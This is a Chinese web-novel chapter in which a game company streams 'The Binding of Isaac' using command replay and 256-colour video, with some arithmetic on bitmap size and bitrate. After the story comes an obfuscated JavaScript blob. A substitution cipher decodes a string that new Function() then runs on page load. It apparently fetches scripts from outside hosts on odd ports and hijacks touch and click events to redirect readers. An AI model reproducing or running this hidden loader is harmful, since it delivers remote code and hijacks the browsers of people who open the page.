第一千四百零六章 来自后代的先进技术(1 / 2)

东京绅士物语 黑暗风 2542 字 2022-08-13

这年头,要搞流媒体,以家里的电脑性能,是做不到的。

虽说这个年代,已经有了流媒体的网络视频,但是这和直播是两个概念。

实际上,这个年头,看直播最大的阻碍,不是带宽的问题,而是在于这个年头的

但是森夏这边退而求其次,采用了另外一种方式,而且完全不会加重直播者电脑的负担。

简单来说,森夏的方法是这样的:玩家本身的机器是不会有任何视频信息的,而是会将指令发送到官方的平台,这一点就和魔兽争霸3或者其他类似的游戏里面的“观众席观看”是一样的。

而真正负责将这部分内容播放出去的,是另外一端的“观众”,只不过这个观众比较特殊,这是官方的平台。而观众们见到的,也并非是玩家的电脑本身,而是官方的电脑。

之前森夏这边已经尝试过网络直播了,这个方法也是官方现在摸索出来的。

而之所以用以撒这个游戏,也是有原因的,因为这个的观赏性非常大,玩得菜的能急死人,让人亲自上场;玩得好的,能让觉得自己也能够潇洒一回。

而且更关键的是,就算是看直播,以撒的结合,都是让人看不腻的——因为每一次的游戏,都是全新的体验。

当然,还有一个原因,那就是这个游戏对颜色的要求很低,在作为流媒体播放的时候,码率能够尽可能的下降,降低画面要求。特别是颜色部分,以撒的结合最低的时候,可以下降到256色,这种时候对于带宽的要求就会很低。

256色就是八位色,而十六位增强色则是65536色,至于真彩色二十四位,那就是16777216色,对显卡和带宽的要求需求都很大。

举个例子,一个位图的大小,是图的像素乘以位深再除以八,例如一个1024×1024分辨率大小的图片,采用的是256色(八位色),那么这个图片大小就是1024×1024×8/8,单位是字节,如果是换算成兆的话,那就正好是1MB,而如果是真彩色的话,那就是3MB。

至于其他的什么JPG之类的图,本质上就是对位图文件的各种压缩算法,或者是在这之上添加了一些额外信息等等。

这个方法是A社在研究了很久之后想到的一种压缩算法。

一开始,A社这边考虑了将视频码率下降的程度,但这么做有一个为难的地方,就是当视频码率下降之后,画面会容易花屏,而如果是缩减分辨率的话,则会让画面难以辨认。

视频码率大致上是分辨率×品质×帧数,然后除以1024在加上音频的码率。

720P的分辨率,在维持一定品质的状态下,如果带宽是2M(也就是256KB)的下载速度的话,基本是能够观看的。

但问题就在这里。

因为2M……这已经是这个时代的“高配”互联网了。

和未来动辄50M或者100M的光纤相比,这个网络的速度,实在是不够看。

但是,A社普遍认为,森夏的想法是没有错的。

根据A社做的调研,他们发现,泥轰的网络速度正在飞速的提升,各地都在大力建设互联网,所以抢占先机是必须的。

因此,他们才想到了这种退而求其次,先把茅坑占着再说话的程度。

不过也幸好,这个年头的游戏,大部分都支持八位色显示——包括星际争霸这种游戏也是如此。

而且DC-P本家也有自己的统一颜色表,在开发游戏和移植游戏的时候,游戏厂商的色彩都需要遵守这个规范,所以这种缩减,是可以接受的。

实际上,在DC-P上面,有些游戏为了维持高帧率,在某些场景的时候,也会将色彩从原本的二十四位色下降到十六位色,或者是八位色,而且分辨率也会大幅度下滑。

嗯,所谓的优化……就是如此。

森夏这边有时候也会做这种优化。

例如在月落之中,游戏的画面就会缩减,然后通过插值扩展到全幅……嗯,这和另外一条世界线的XBOX的降画质强行插值是一样的。在XBOX上,有很多号称“全高清”的游戏,但实际上这些游戏,就是用低分辨率强行拉伸插值上去的,是假高清。而且他们还开了一个坏头,那就是让这种假高清成堆成堆的出现,着实是始作俑者。

嗯,A社的员工,无师自通就学会了另外一条世界线的“后代”的特殊能力,可喜可贺,可喜可贺~

顺带一提,在另外一条世界线上有些游戏是可以设置16bit和32bit的,前者的流畅度要好,但8bit基本没有……因为在那个时代的游戏,如果改成8bit的话,画面很多都要糟重……

A社这边不仅仅游戏能缩,视频也能缩的原因,就是因为自家有着自家的规范,所以视频的时候,下降到256色,画面依然能过得去。

根据这个算法,A社顺利的让1M的网络,也能够获得不错的视频流的体验。

——当然,体验最好的方式,还是用预装的直播软件,下载游戏素材包,然后通过类似游戏内录像的方式得到最佳的体验,理论上来说,这种方式才是最好的,因为画面绝对不会有任何的损失,因为这些视频,从网络上发过来的,其实是一个个的“指令”和“信息”,视频的画面,实际上是取决于玩家自己调整的游戏设置。

当然,这种模式也有缺陷,那就是只能直播“官方内容”,如果游戏有MOD等等需求,那是不支持的。只有真真正正的本机直播,才能复现直播者自己的效果。

嗯,如果再有字幕就好了,但现在没有字幕,只有画面右侧的吐槽框。

“这就是直播?”

游戏发售的时间其实现在已经近了。

在发现时间差不多之后,森夏就带着爱丽丝一起去看直播去了。

直播有两个,一个是用DC-P播放的游戏内视频。

而另外一个直播,则是在电脑上面,用视频流来进行直播。

两台电脑上面,正在同时播放着以撒的节目。

直播的是一个名叫“狸头人”的主播。

这位仁兄是测试版本的时候,以撒天梯排行榜的第一位。

当时的时候,游戏也进行过一轮播放测试,根据官方当时的投票,这个ID为狸头人的主播,是该游戏最受欢迎的主播之一。

而且,和黑暗之魂等等游戏相比,以撒的结合的耐看度,明显是要更高的。

因为黑暗之魂的游戏,虽说难度很高,但是在播放了一段时间之后,这其中的内容重复进行,也就没有了意思。

相反,类似这种可以不断有全新体验的游戏,因为每一次游戏都会有截然不同的体验。

有时候,玩家顺风顺水,能够拿到游戏中极品的宝物圣心、神性之类,从而来一局碾压局。

也有时候,玩家可以得到某种非常效果不确定的小汽车或者死海古卷,让游戏下一秒会发生什么都变成了不明所以的有趣场景。

还有时候,玩家会发现一路上都是不能拿的负面宝物,从而一路受苦玩到最后。

“这是新游戏吗?”

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();